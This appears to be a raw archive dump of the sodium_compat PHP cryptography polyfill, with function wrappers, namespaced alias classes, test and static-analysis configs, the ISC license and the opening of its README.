if (!is_callable('\\Sodium\\crypto_box_seal_open')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_box_seal_open()
     * @param string $message
     * @param string $kp
     * @return string|bool
     */
    function crypto_box_seal_open($message, $kp)
    {
        try {
            return ParagonIE_Sodium_Compat::crypto_box_seal_open($message,
$kp);
        } catch (\TypeError $ex) {
            return false;
        } catch (\SodiumException $ex) {
            return false;
        }
    }
}
if (!is_callable('\\Sodium\\crypto_box_secretkey')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_box_secretkey()
     * @param string $keypair
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_box_secretkey($keypair)
    {
        return ParagonIE_Sodium_Compat::crypto_box_secretkey($keypair);
    }
}
if (!is_callable('\\Sodium\\crypto_generichash')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_generichash()
     * @param string $message
     * @param string|null $key
     * @param int $outLen
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_generichash($message, $key = null, $outLen = 32)
    {
        return ParagonIE_Sodium_Compat::crypto_generichash($message, $key,
$outLen);
    }
}
if (!is_callable('\\Sodium\\crypto_generichash_final')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_generichash_final()
     * @param string|null $ctx
     * @param int $outputLength
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_generichash_final(&$ctx, $outputLength = 32)
    {
        return ParagonIE_Sodium_Compat::crypto_generichash_final($ctx,
$outputLength);
    }
}
if (!is_callable('\\Sodium\\crypto_generichash_init')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_generichash_init()
     * @param string|null $key
     * @param int $outLen
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_generichash_init($key = null, $outLen = 32)
    {
        return ParagonIE_Sodium_Compat::crypto_generichash_init($key,
$outLen);
    }
}
if (!is_callable('\\Sodium\\crypto_generichash_update')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_generichash_update()
     * @param string|null $ctx
     * @param string $message
     * @return void
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_generichash_update(&$ctx, $message = '')
    {
        ParagonIE_Sodium_Compat::crypto_generichash_update($ctx, $message);
    }
}
if (!is_callable('\\Sodium\\crypto_kx')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_kx()
     * @param string $my_secret
     * @param string $their_public
     * @param string $client_public
     * @param string $server_public
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_kx($my_secret, $their_public, $client_public,
$server_public)
    {
        return ParagonIE_Sodium_Compat::crypto_kx(
            $my_secret,
            $their_public,
            $client_public,
            $server_public
        );
    }
}
if (!is_callable('\\Sodium\\crypto_pwhash')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_pwhash()
     * @param int $outlen
     * @param string $passwd
     * @param string $salt
     * @param int $opslimit
     * @param int $memlimit
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_pwhash($outlen, $passwd, $salt, $opslimit, $memlimit)
    {
        return ParagonIE_Sodium_Compat::crypto_pwhash($outlen, $passwd,
$salt, $opslimit, $memlimit);
    }
}
if (!is_callable('\\Sodium\\crypto_pwhash_str')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_pwhash_str()
     * @param string $passwd
     * @param int $opslimit
     * @param int $memlimit
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_pwhash_str($passwd, $opslimit, $memlimit)
    {
        return ParagonIE_Sodium_Compat::crypto_pwhash_str($passwd,
$opslimit, $memlimit);
    }
}
if (!is_callable('\\Sodium\\crypto_pwhash_str_verify')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_pwhash_str_verify()
     * @param string $passwd
     * @param string $hash
     * @return bool
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_pwhash_str_verify($passwd, $hash)
    {
        return ParagonIE_Sodium_Compat::crypto_pwhash_str_verify($passwd,
$hash);
    }
}
if (!is_callable('\\Sodium\\crypto_pwhash_scryptsalsa208sha256'))
{
    /**
     * @see ParagonIE_Sodium_Compat::crypto_pwhash_scryptsalsa208sha256()
     * @param int $outlen
     * @param string $passwd
     * @param string $salt
     * @param int $opslimit
     * @param int $memlimit
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_pwhash_scryptsalsa208sha256($outlen, $passwd, $salt,
$opslimit, $memlimit)
    {
        return
ParagonIE_Sodium_Compat::crypto_pwhash_scryptsalsa208sha256($outlen,
$passwd, $salt, $opslimit, $memlimit);
    }
}
if
(!is_callable('\\Sodium\\crypto_pwhash_scryptsalsa208sha256_str'))
{
    /**
     * @see
ParagonIE_Sodium_Compat::crypto_pwhash_scryptsalsa208sha256_str()
     * @param string $passwd
     * @param int $opslimit
     * @param int $memlimit
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_pwhash_scryptsalsa208sha256_str($passwd, $opslimit,
$memlimit)
    {
        return
ParagonIE_Sodium_Compat::crypto_pwhash_scryptsalsa208sha256_str($passwd,
$opslimit, $memlimit);
    }
}
if
(!is_callable('\\Sodium\\crypto_pwhash_scryptsalsa208sha256_str_verify'))
{
    /**
     * @see
ParagonIE_Sodium_Compat::crypto_pwhash_scryptsalsa208sha256_str_verify()
     * @param string $passwd
     * @param string $hash
     * @return bool
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_pwhash_scryptsalsa208sha256_str_verify($passwd, $hash)
    {
        return
ParagonIE_Sodium_Compat::crypto_pwhash_scryptsalsa208sha256_str_verify($passwd,
$hash);
    }
}
if (!is_callable('\\Sodium\\crypto_scalarmult')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_scalarmult()
     * @param string $n
     * @param string $p
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_scalarmult($n, $p)
    {
        return ParagonIE_Sodium_Compat::crypto_scalarmult($n, $p);
    }
}
if (!is_callable('\\Sodium\\crypto_scalarmult_base')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_scalarmult_base()
     * @param string $n
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_scalarmult_base($n)
    {
        return ParagonIE_Sodium_Compat::crypto_scalarmult_base($n);
    }
}
if (!is_callable('\\Sodium\\crypto_secretbox')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_secretbox()
     * @param string $message
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_secretbox($message, $nonce, $key)
    {
        return ParagonIE_Sodium_Compat::crypto_secretbox($message, $nonce,
$key);
    }
}
if (!is_callable('\\Sodium\\crypto_secretbox_open')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_secretbox_open()
     * @param string $message
     * @param string $nonce
     * @param string $key
     * @return string|bool
     */
    function crypto_secretbox_open($message, $nonce, $key)
    {
        try {
            return ParagonIE_Sodium_Compat::crypto_secretbox_open($message,
$nonce, $key);
        } catch (\TypeError $ex) {
            return false;
        } catch (\SodiumException $ex) {
            return false;
        }
    }
}
if (!is_callable('\\Sodium\\crypto_shorthash')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_shorthash()
     * @param string $message
     * @param string $key
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_shorthash($message, $key = '')
    {
        return ParagonIE_Sodium_Compat::crypto_shorthash($message, $key);
    }
}
if (!is_callable('\\Sodium\\crypto_sign')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_sign()
     * @param string $message
     * @param string $sk
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_sign($message, $sk)
    {
        return ParagonIE_Sodium_Compat::crypto_sign($message, $sk);
    }
}
if (!is_callable('\\Sodium\\crypto_sign_detached')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_sign_detached()
     * @param string $message
     * @param string $sk
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_sign_detached($message, $sk)
    {
        return ParagonIE_Sodium_Compat::crypto_sign_detached($message,
$sk);
    }
}
if (!is_callable('\\Sodium\\crypto_sign_keypair')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_sign_keypair()
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_sign_keypair()
    {
        return ParagonIE_Sodium_Compat::crypto_sign_keypair();
    }
}
if (!is_callable('\\Sodium\\crypto_sign_open')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_sign_open()
     * @param string $signedMessage
     * @param string $pk
     * @return string|bool
     */
    function crypto_sign_open($signedMessage, $pk)
    {
        try {
            return
ParagonIE_Sodium_Compat::crypto_sign_open($signedMessage, $pk);
        } catch (\TypeError $ex) {
            return false;
        } catch (\SodiumException $ex) {
            return false;
        }
    }
}
if (!is_callable('\\Sodium\\crypto_sign_publickey')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_sign_publickey()
     * @param string $keypair
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_sign_publickey($keypair)
    {
        return ParagonIE_Sodium_Compat::crypto_sign_publickey($keypair);
    }
}
if
(!is_callable('\\Sodium\\crypto_sign_publickey_from_secretkey'))
{
    /**
     * @see ParagonIE_Sodium_Compat::crypto_sign_publickey_from_secretkey()
     * @param string $sk
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_sign_publickey_from_secretkey($sk)
    {
        return
ParagonIE_Sodium_Compat::crypto_sign_publickey_from_secretkey($sk);
    }
}
if (!is_callable('\\Sodium\\crypto_sign_secretkey')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_sign_secretkey()
     * @param string $keypair
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_sign_secretkey($keypair)
    {
        return ParagonIE_Sodium_Compat::crypto_sign_secretkey($keypair);
    }
}
if (!is_callable('\\Sodium\\crypto_sign_seed_keypair')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_sign_seed_keypair()
     * @param string $seed
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_sign_seed_keypair($seed)
    {
        return ParagonIE_Sodium_Compat::crypto_sign_seed_keypair($seed);
    }
}
if (!is_callable('\\Sodium\\crypto_sign_verify_detached')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_sign_verify_detached()
     * @param string $signature
     * @param string $message
     * @param string $pk
     * @return bool
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_sign_verify_detached($signature, $message, $pk)
    {
        return
ParagonIE_Sodium_Compat::crypto_sign_verify_detached($signature, $message,
$pk);
    }
}
if
(!is_callable('\\Sodium\\crypto_sign_ed25519_pk_to_curve25519'))
{
    /**
     * @see ParagonIE_Sodium_Compat::crypto_sign_ed25519_pk_to_curve25519()
     * @param string $pk
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_sign_ed25519_pk_to_curve25519($pk)
    {
        return
ParagonIE_Sodium_Compat::crypto_sign_ed25519_pk_to_curve25519($pk);
    }
}
if
(!is_callable('\\Sodium\\crypto_sign_ed25519_sk_to_curve25519'))
{
    /**
     * @see ParagonIE_Sodium_Compat::crypto_sign_ed25519_sk_to_curve25519()
     * @param string $sk
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_sign_ed25519_sk_to_curve25519($sk)
    {
        return
ParagonIE_Sodium_Compat::crypto_sign_ed25519_sk_to_curve25519($sk);
    }
}
if (!is_callable('\\Sodium\\crypto_stream')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_stream()
     * @param int $len
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_stream($len, $nonce, $key)
    {
        return ParagonIE_Sodium_Compat::crypto_stream($len, $nonce, $key);
    }
}
if (!is_callable('\\Sodium\\crypto_stream_xor')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_stream_xor()
     * @param string $message
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_stream_xor($message, $nonce, $key)
    {
        return ParagonIE_Sodium_Compat::crypto_stream_xor($message, $nonce,
$key);
    }
}
if (!is_callable('\\Sodium\\hex2bin')) {
    /**
     * @see ParagonIE_Sodium_Compat::hex2bin()
     * @param string $string
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function hex2bin($string)
    {
        return ParagonIE_Sodium_Compat::hex2bin($string);
    }
}
if (!is_callable('\\Sodium\\memcmp')) {
    /**
     * @see ParagonIE_Sodium_Compat::memcmp()
     * @param string $a
     * @param string $b
     * @return int
     * @throws \SodiumException
     * @throws \TypeError
     */
    function memcmp($a, $b)
    {
        return ParagonIE_Sodium_Compat::memcmp($a, $b);
    }
}
if (!is_callable('\\Sodium\\memzero')) {
    /**
     * @see ParagonIE_Sodium_Compat::memzero()
     * @param string $str
     * @return void
     * @throws \SodiumException
     * @throws \TypeError
     */
    function memzero(&$str)
    {
        ParagonIE_Sodium_Compat::memzero($str);
    }
}
if (!is_callable('\\Sodium\\randombytes_buf')) {
    /**
     * @see ParagonIE_Sodium_Compat::randombytes_buf()
     * @param int $amount
     * @return string
     * @throws \TypeError
     */
    function randombytes_buf($amount)
    {
        return ParagonIE_Sodium_Compat::randombytes_buf($amount);
    }
}

if (!is_callable('\\Sodium\\randombytes_uniform')) {
    /**
     * @see ParagonIE_Sodium_Compat::randombytes_uniform()
     * @param int $upperLimit
     * @return int
     * @throws \SodiumException
     * @throws \Error
     */
    function randombytes_uniform($upperLimit)
    {
        return ParagonIE_Sodium_Compat::randombytes_uniform($upperLimit);
    }
}

if (!is_callable('\\Sodium\\randombytes_random16')) {
    /**
     * @see ParagonIE_Sodium_Compat::randombytes_random16()
     * @return int
     */
    function randombytes_random16()
    {
        return ParagonIE_Sodium_Compat::randombytes_random16();
    }
}

if (!defined('\\Sodium\\CRYPTO_AUTH_BYTES')) {
    require_once dirname(__FILE__) . '/constants.php';
}
PK	�[��n-��>chat/sendMessage/pusher/vendor/paragonie/sodium_compat/LICENSEnu�[���/*
 * ISC License
 *
 * Copyright (c) 2016-2019
 * Paragon Initiative Enterprises <security at paragonie dot com>
 *
 * Copyright (c) 2013-2019
 * Frank Denis <j at pureftpd dot org>
 *
 * Permission to use, copy, modify, and/or distribute this software for any
 * purpose with or without fee is hereby granted, provided that the above
 * copyright notice and this permission notice appear in all copies.
 *
 * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL
WARRANTIES
 * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
 * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
 * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
 * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
 * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
 * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
 */PK	�[�c�LVVLchat/sendMessage/pusher/vendor/paragonie/sodium_compat/namespaced/Compat.phpnu�[���<?php
namespace ParagonIE\Sodium;

class Compat extends \ParagonIE_Sodium_Compat
{

}
PK	�[�CbbRchat/sendMessage/pusher/vendor/paragonie/sodium_compat/namespaced/Core/BLAKE2b.phpnu�[���<?php
namespace ParagonIE\Sodium\Core;

class BLAKE2b extends \ParagonIE_Sodium_Core_BLAKE2b
{

}
PK	�[(���llWchat/sendMessage/pusher/vendor/paragonie/sodium_compat/namespaced/Core/ChaCha20/Ctx.phpnu�[���<?php
namespace ParagonIE\Sodium\Core\ChaCha20;

class Ctx extends \ParagonIE_Sodium_Core_ChaCha20_Ctx
{

}
PK	�[C4�Htt[chat/sendMessage/pusher/vendor/paragonie/sodium_compat/namespaced/Core/ChaCha20/IetfCtx.phpnu�[���<?php
namespace ParagonIE\Sodium\Core\ChaCha20;

class IetfCtx extends \ParagonIE_Sodium_Core_ChaCha20_IetfCtx
{

}
PK	�[�
@ddSchat/sendMessage/pusher/vendor/paragonie/sodium_compat/namespaced/Core/ChaCha20.phpnu�[���<?php
namespace ParagonIE\Sodium\Core;

class ChaCha20 extends \ParagonIE_Sodium_Core_ChaCha20
{

}
PK	�[��B�nnXchat/sendMessage/pusher/vendor/paragonie/sodium_compat/namespaced/Core/Curve25519/Fe.phpnu�[���<?php
namespace ParagonIE\Sodium\Core\Curve25519;

class Fe extends \ParagonIE_Sodium_Core_Curve25519_Fe
{

}
PK	�[�W�<||_chat/sendMessage/pusher/vendor/paragonie/sodium_compat/namespaced/Core/Curve25519/Ge/Cached.phpnu�[���<?php
namespace ParagonIE\Sodium\Core\Curve25519\Ge;

class Cached extends \ParagonIE_Sodium_Core_Curve25519_Ge_Cached
{

}
PK	�[���rxx]chat/sendMessage/pusher/vendor/paragonie/sodium_compat/namespaced/Core/Curve25519/Ge/P1p1.phpnu�[���<?php
namespace ParagonIE\Sodium\Core\Curve25519\Ge;

class P1p1 extends \ParagonIE_Sodium_Core_Curve25519_Ge_P1p1
{

}
PK	�[p�tt[chat/sendMessage/pusher/vendor/paragonie/sodium_compat/namespaced/Core/Curve25519/Ge/P2.phpnu�[���<?php
namespace ParagonIE\Sodium\Core\Curve25519\Ge;

class P2 extends \ParagonIE_Sodium_Core_Curve25519_Ge_P2
{

}
PK	�[���tt[chat/sendMessage/pusher/vendor/paragonie/sodium_compat/namespaced/Core/Curve25519/Ge/P3.phpnu�[���<?php
namespace ParagonIE\Sodium\Core\Curve25519\Ge;

class P3 extends \ParagonIE_Sodium_Core_Curve25519_Ge_P3
{

}
PK	�[�I�M~~`chat/sendMessage/pusher/vendor/paragonie/sodium_compat/namespaced/Core/Curve25519/Ge/Precomp.phpnu�[���<?php
namespace ParagonIE\Sodium\Core\Curve25519\Ge;

class Precomp extends \ParagonIE_Sodium_Core_Curve25519_Ge_Precomp
{

}
PK	�[9&F?llWchat/sendMessage/pusher/vendor/paragonie/sodium_compat/namespaced/Core/Curve25519/H.phpnu�[���<?php
namespace ParagonIE\Sodium\Core\Curve25519;

class H extends \ParagonIE_Sodium_Core_Curve25519_H
{

}
PK	�[��hhUchat/sendMessage/pusher/vendor/paragonie/sodium_compat/namespaced/Core/Curve25519.phpnu�[���<?php
namespace ParagonIE\Sodium\Core;

class Curve25519 extends \ParagonIE_Sodium_Core_Curve25519
{

}
PK	�[|�>bbRchat/sendMessage/pusher/vendor/paragonie/sodium_compat/namespaced/Core/Ed25519.phpnu�[���<?php
namespace ParagonIE\Sodium\Core;

class Ed25519 extends \ParagonIE_Sodium_Core_Ed25519
{

}
PK	�['��?ffTchat/sendMessage/pusher/vendor/paragonie/sodium_compat/namespaced/Core/HChaCha20.phpnu�[���<?php
namespace ParagonIE\Sodium\Core;

class HChaCha20 extends \ParagonIE_Sodium_Core_HChaCha20
{

}
PK	�[2V��ddSchat/sendMessage/pusher/vendor/paragonie/sodium_compat/namespaced/Core/HSalsa20.phpnu�[���<?php
namespace ParagonIE\Sodium\Core;

class HSalsa20 extends \ParagonIE_Sodium_Core_HSalsa20
{

}
PK	�[�ډPppYchat/sendMessage/pusher/vendor/paragonie/sodium_compat/namespaced/Core/Poly1305/State.phpnu�[���<?php
namespace ParagonIE\Sodium\Core\Poly1305;

class State extends \ParagonIE_Sodium_Core_Poly1305_State
{

}
PK	�[�MtlddSchat/sendMessage/pusher/vendor/paragonie/sodium_compat/namespaced/Core/Poly1305.phpnu�[���<?php
namespace ParagonIE\Sodium\Core;

class Poly1305 extends \ParagonIE_Sodium_Core_Poly1305
{

}
PK	�[9
��bbRchat/sendMessage/pusher/vendor/paragonie/sodium_compat/namespaced/Core/Salsa20.phpnu�[���<?php
namespace ParagonIE\Sodium\Core;

class Salsa20 extends \ParagonIE_Sodium_Core_Salsa20
{

}
PK	�[����bbRchat/sendMessage/pusher/vendor/paragonie/sodium_compat/namespaced/Core/SipHash.phpnu�[���<?php
namespace ParagonIE\Sodium\Core;

class SipHash extends \ParagonIE_Sodium_Core_SipHash
{

}
PK	�[��m\\Ochat/sendMessage/pusher/vendor/paragonie/sodium_compat/namespaced/Core/Util.phpnu�[���<?php
namespace ParagonIE\Sodium\Core;

class Util extends \ParagonIE_Sodium_Core_Util
{

}
PK	�[t�=2``Qchat/sendMessage/pusher/vendor/paragonie/sodium_compat/namespaced/Core/X25519.phpnu�[���<?php
namespace ParagonIE\Sodium\Core;

class X25519 extends \ParagonIE_Sodium_Core_X25519
{

}
PK	�[Y[�yffTchat/sendMessage/pusher/vendor/paragonie/sodium_compat/namespaced/Core/XChaCha20.phpnu�[���<?php
namespace ParagonIE\Sodium\Core;

class XChaCha20 extends \ParagonIE_Sodium_Core_XChaCha20
{

}
PK	�[WͤAddSchat/sendMessage/pusher/vendor/paragonie/sodium_compat/namespaced/Core/Xsalsa20.phpnu�[���<?php
namespace ParagonIE\Sodium\Core;

class Xsalsa20 extends \ParagonIE_Sodium_Core_XSalsa20
{

}
PK	�[r��VVLchat/sendMessage/pusher/vendor/paragonie/sodium_compat/namespaced/Crypto.phpnu�[���<?php
namespace ParagonIE\Sodium;

class Crypto extends \ParagonIE_Sodium_Crypto
{

}
PK	�[�oqRRJchat/sendMessage/pusher/vendor/paragonie/sodium_compat/namespaced/File.phpnu�[���<?php
namespace ParagonIE\Sodium;

class File extends \ParagonIE_Sodium_File
{

}
PK	�[/�a�GGGchat/sendMessage/pusher/vendor/paragonie/sodium_compat/phpunit.xml.distnu�[���<?xml
version="1.0" encoding="UTF-8"?>
<phpunit
    backupGlobals="true"
    backupStaticAttributes="false"
    bootstrap="autoload-phpunit.php"
    colors="true"
    convertErrorsToExceptions="true"
    convertNoticesToExceptions="true"
    convertWarningsToExceptions="true"
    processIsolation="false"
    stopOnError="false"
    stopOnFailure="false"
>
    <testsuites>
        <testsuite name="Unit Tests">
            <directory
suffix="Test.php">./tests/unit</directory>
        </testsuite>
        <testsuite name="Libsodium Compatibility Tests">
            <directory
suffix="Test.php">./tests/compat</directory>
        </testsuite>
    </testsuites>
    <filter>
        <whitelist
processUncoveredFilesFromWhitelist="true">
            <directory
suffix=".php">./src</directory>
        </whitelist>
    </filter>
</phpunit>PK	�[H�K��Hchat/sendMessage/pusher/vendor/paragonie/sodium_compat/psalm-above-3.xmlnu�[���<?xml
version="1.0"?>
<psalm
        useDocblockTypes="true"
        totallyTyped="true"
>
    <projectFiles>
        <directory name="src" />
    </projectFiles>
    <issueHandlers>
        <InvalidFunctionCall errorLevel="suppress" />
        <!--
            Previous issue type is suppressed because we have to use a
string
            as a function name for PHP 5.2 compatibility. When testing, be
sure
            to change this to "info".
         -->

        <UndefinedFunction errorLevel="info" />
        <!--
            Inconsistently erroneous.
        -->

        <DuplicateClass errorLevel="info" />
        <!--
            Psalm isn't correctly identifying the guard conditions
that return
            early if a class already exists.
        -->
        <RedundantConditionGivenDocblockType
errorLevel="suppress" />

        <TooFewArguments errorLevel="info" />

        <DocblockTypeContradiction errorLevel="suppress" />
        <RedundantCondition errorLevel="info" />
        <!--
            Redundancy is good for PHP <7
        -->

        <TypeDoesNotContainType errorLevel="info" />
        <!--
            This mostly fails on `PHP_INT_SIZE === 4`
        -->

        <InternalMethod errorLevel="suppress" />
        <!--
            We mark methods as internal.
        -->
        <PossiblyNullArgument errorLevel="suppress" />
        <!--
            Not interesting
        -->

        <RedundantCast errorLevel="info" />

    </issueHandlers>
</psalm>
PK	�[��7��Hchat/sendMessage/pusher/vendor/paragonie/sodium_compat/psalm-below-3.xmlnu�[���<?xml
version="1.0"?>
<psalm
    useDocblockTypes="true"
    totallyTyped="true"
>
    <projectFiles>
        <directory name="src" />
    </projectFiles>
    <issueHandlers>
        <InvalidFunctionCall errorLevel="suppress" />
        <!--
            Previous issue type is suppressed because we have to use a
string
            as a function name for PHP 5.2 compatibility. When testing, be
sure
            to change this to "info".
         -->

        <UndefinedFunction errorLevel="info" />
        <!--
            Inconsistently erroneous.
        -->

        <DuplicateClass errorLevel="info" />
        <!--
            Psalm isn't correctly identifying the guard conditions
that return
            early if a class already exists.
        -->
        <RedundantConditionGivenDocblockType
errorLevel="suppress" />

        <TooFewArguments errorLevel="info" />

        <DocblockTypeContradiction errorLevel="info" />
        <RedundantCondition errorLevel="info" />
        <!--
            Redundancy is good for PHP <7
        -->

        <TypeDoesNotContainType errorLevel="info" />
        <!--
            This mostly fails on `PHP_INT_SIZE === 4`
        -->

    </issueHandlers>
</psalm>
PK	�[\�j��9�9@chat/sendMessage/pusher/vendor/paragonie/sodium_compat/README.mdnu�[���#
Sodium Compat

[![Linux Build
Status](https://travis-ci.org/paragonie/sodium_compat.svg?branch=master)](https://travis-ci.org/paragonie/sodium_compat)
[![Windows Build
Status](https://ci.appveyor.com/api/projects/status/itcx1vgmfqiawgbe?svg=true)](https://ci.appveyor.com/project/paragonie-scott/sodium-compat)
[![Latest Stable
Version](https://poser.pugx.org/paragonie/sodium_compat/v/stable)](https://packagist.org/packages/paragonie/sodium_compat)
[![Latest Unstable
Version](https://poser.pugx.org/paragonie/sodium_compat/v/unstable)](https://packagist.org/packages/paragonie/sodium_compat)
[![License](https://poser.pugx.org/paragonie/sodium_compat/license)](https://packagist.org/packages/paragonie/sodium_compat)
[![Downloads](https://img.shields.io/packagist/dt/paragonie/sodium_compat.svg)](https://packagist.org/packages/paragonie/sodium_compat)

Sodium Compat is a pure PHP polyfill for the Sodium cryptography library 
(libsodium), a core extension in PHP 7.2.0+ and otherwise [available in
PECL](https://pecl.php.net/package/libsodium).

This library tentativeley supports PHP 5.2.4 - 8.x (latest), but officially
only supports [non-EOL'd versions of
PHP](https://secure.php.net/supported-versions.php).

If you have the PHP extension installed, Sodium Compat will
opportunistically
and transparently use the PHP extension instead of our implementation.

## IMPORTANT!

This cryptography library has not been formally audited by an independent
third 
party that specializes in cryptography or cryptanalysis.

If you require such an audit before you can use sodium_compat in your
projects
and have the funds for such an audit, please open an issue or contact 
`security at paragonie dot com` so we can help get the ball rolling.

However, sodium_compat has been adopted by high profile open source
projects,
such as
[Joomla!](https://github.com/joomla/joomla-cms/blob/459d74686d2a638ec51149d7c44ddab8075852be/composer.json#L40)
and
[Magento](https://github.com/magento/magento2/blob/8fd89cfdf52c561ac0ca7bc20fd38ef688e201b0/composer.json#L44).
Furthermore, sodium_compat was developed by Paragon Initiative Enterprises,
a
company that *specializes* in secure PHP development and PHP cryptography,
and
has been informally reviewed by many other security experts who also
specialize
in PHP.

If you'd like to learn more about the defensive security measures
we've taken
to prevent sodium_compat from being a source of vulnerability in your
systems,
please read [*Cryptographically Secure PHP
Development*](https://paragonie.com/blog/2017/02/cryptographically-secure-php-development).

# Installing Sodium Compat

If you're using Composer:

```bash
composer require paragonie/sodium_compat
```

### Install From Source

If you're not using Composer, download a [release
tarball](https://github.com/paragonie/sodium_compat/releases)
(which should be signed with [our GnuPG public
key](https://paragonie.com/static/gpg-public-key.txt)), extract
its contents, then include our `autoload.php` script in your project.

```php
<?php
require_once "/path/to/sodium_compat/autoload.php";
```

### PHP Archives (Phar) Releases

Since version 1.3.0, [sodium_compat
releases](https://github.com/paragonie/sodium_compat/releases) include a
PHP Archive (.phar file) and associated GPG signature. First, download both
files and verify them with our
GPG public key, like so:

```bash
# Getting our public key from the keyserver:
gpg --fingerprint 7F52D5C61D1255C731362E826B97A1C2826404DA
if [ $? -ne 0 ]; then
    echo -e "\033[33mDownloading PGP Public Key...\033[0m"
    gpg  --keyserver pgp.mit.edu --recv-keys
7F52D5C61D1255C731362E826B97A1C2826404DA
    # Security <security@paragonie.com>
    gpg --fingerprint 7F52D5C61D1255C731362E826B97A1C2826404DA
    if [ $? -ne 0 ]; then
        echo -e "\033[31mCould not download PGP public key for
verification\033[0m"
        exit 1
    fi
fi

# Verifying the PHP Archive
gpg --verify sodium-compat.phar.sig sodium-compat.phar
```

Now, simply include this .phar file in your application.

```php
<?php
require_once "/path/to/sodium-compat.phar";
```

# Support

[Commercial support for
libsodium](https://download.libsodium.org/doc/commercial_support/) is
available
from multiple vendors. If you need help using sodium_compat in one of your
projects, [contact Paragon Initiative
Enterprises](https://paragonie.com/contact). 

Non-commercial report will be facilitated through [Github
issues](https://github.com/paragonie/sodium_compat/issues).
We offer no guarantees of our availability to resolve questions about
integrating sodium_compat into third-party
software for free, but will strive to fix any bugs (security-related or
otherwise) in our library.

## Support Contracts

If your company uses this library in their products or services, you may be
interested in [purchasing a support contract from Paragon Initiative
Enterprises](https://paragonie.com/enterprise).

# Using Sodium Compat

## True Polyfill

If you're using PHP 5.3.0 or newer and do not have the PECL extension
installed,
you can just use the [standard ext/sodium API features
as-is](https://paragonie.com/book/pecl-libsodium)
and the polyfill will work its magic.

```php
<?php
require_once "/path/to/sodium_compat/autoload.php";

$alice_kp = \Sodium\crypto_sign_keypair();
$alice_sk = \Sodium\crypto_sign_secretkey($alice_kp);
$alice_pk = \Sodium\crypto_sign_publickey($alice_kp);

$message = 'This is a test message.';
$signature = \Sodium\crypto_sign_detached($message, $alice_sk);
if (\Sodium\crypto_sign_verify_detached($signature, $message, $alice_pk)) {
    echo 'OK', PHP_EOL;
} else {
    throw new Exception('Invalid signature');
}
```

The polyfill does not expose this API on PHP < 5.3, or if you have the
PHP
extension installed already.

## General-Use Polyfill

If your users are on PHP < 5.3, or you want to write code that will work
whether or not the PECL extension is available, you'll want to use the
**`ParagonIE_Sodium_Compat`** class for most of your libsodium needs.

The above example, written for general use:

```php
<?php
require_once "/path/to/sodium_compat/autoload.php";

